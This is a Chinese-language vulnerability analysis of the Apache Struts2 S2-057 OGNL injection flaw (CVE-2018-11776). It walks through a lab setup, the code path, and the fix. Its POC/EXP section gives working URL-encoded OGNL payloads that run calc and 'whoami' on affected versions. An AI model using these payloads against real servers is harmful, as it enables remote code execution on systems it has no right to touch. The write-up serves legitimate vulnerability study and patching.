Struts2漏洞 S2-057漏洞分析



0x00:写在前面


2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由Semmle Security Research team的安全研究员Man YueMo发现。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,URL标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行,经过笔者自建环境成功复现漏洞且可以执行命令回显。


影响版本:


Struts 2.3 to 2.3.34
Struts 2.5 to 2.5.16


0x01:漏洞验证


首先下载漏洞版本的Struts2框架-2.5.16
https://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-all.zip


下载成功打开,看到目录,apps里的是打包好的演示War包,直接放到Tomcat里运行即可,src里是Struts2演示代码。


Ecplise导入src/apps/showcase这个mavean(需要配置国内镜像,不然默认的速度太慢会报错)


导入成功以后修改src/main/resources/struts-actionchaining.xml为


<!DOCTYPE struts PUBLIC    "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"    "http://struts.apache.org/dtds/struts-2.5.dtd"><struts><package name="actionchaining" extends="struts-default"><action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"><result type="redirectAction">                <param name = "actionName">register2</param></result></action></package> 

</struts>


右击工程名运行。浏览器进行访问


http://localhost:8080/struts2-showcase/$%7B(111+111)%7D/actionChain1.action


数据包分析会发现进行302跳转到如下页面。


那么此时OGNL表达书注入则成功发生,${(111+111)}的111+111=222成功带入函数进行了运算。结果返回至url。


在低版本的Struts 2.3 to 2.3.34中可以进行命令执行


2.5.16版本可以在Windows下弹出计算机。



0x02:漏洞分析


OGNL:是应用于Java的一个表达式语言,被集成在Struts2框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。


S2-057有三种攻击向量


Redirect actionAction chainingPostback result


我们这里以Redirect action进行分析


在src/main/resources/struts-actionchaining.xml中注意<result>标签中<type>redirectAction


<result type="redirectAction">     <param name = "actionName">register2</param>  

</result>  

redirectAction对应的处理类为


org.apache.struts2.result.ServletActionRedirectResult


根据对于struts-actionchaining.xml文件的修改,所有的到actionChain1.action的请求都会被导向register2,并且执行链会到ServletActionRedirectResult.execute方法中,具体文件地址:org/apache/struts2/result/ServletActionRedirectResult。



由于配置xml时没有指定namespace,所以此时为空,则会执行


invocation.getProxy().getNamespace();通过namespace污染了

tmpLocation,从而导致了预期POC的执行,继续跟踪namespace到StrutsResultSupport.execute方法中。



conditionalParse方法如下,使用Ognl表达式来计算数据值。



在这个方法中会使用到TextParseUtil.translateVariables方法,继续跟踪,调用栈进入OgnlTextParser中的evaluate方法,首先会判断传入的表达式是否合法,比如是否能找到${}或者%{}对,接着调用evaluator.evaluate求值。

跟进第一步的getUriFromActionMapping函数


public String getUriFromActionMapping(ActionMapping mapping) {        StringBuilder uri = new StringBuilder();        handleNamespace(mapping, uri);        handleName(mapping, uri);        handleDynamicMethod(mapping, uri);        handleExtension(mapping, uri);        handleParams(mapping, uri);return uri.toString();    }


当函数返回,tmpLocation/${(111+111)}/register2.action,然后通过setLocation(tmpLocation)使得location变量值


/${(111+111)}/register2.action,从而最终造成OGNL注入。

${(111+111)}成功执行。


0x03:POC以及EXP


2.3.20版本弹出计算机


/%24%7B%23memberAccess%3D\@ognl.OgnlContext\@DEFAULTMEMBER_ACCESS%2C\@java.lang.Runtime\@getRuntime%28%29.exec%28%27calc.exe%27%29%7D/index.action


2.3.34版本命令执行


/%24%7B%28%23dm%3D\@ognl.OgnlContext\@DEFAULTMEMBERACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28\@com.opensymphony.xwork2.ognl.OgnlUtil\@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28\@org.apache.commons.io.IOUtils\@toString%28\@java.lang.Runtime\@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action


2.5.16版本弹出计算机


${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}


EXP地址:


https://github.com/Ivan1ee


0x04:修复建议


官方建议升级Struts版本到2.3.35版本或者2.5.17版本。


当函数返回,


tmpLocation/${(111+111)}/register2.action,然后通过setLocation(tmpLocation)使得location变量值为/${(111+111)}/register2.action,从而最终造成OGNL注入。


${(111+111)}成功执行。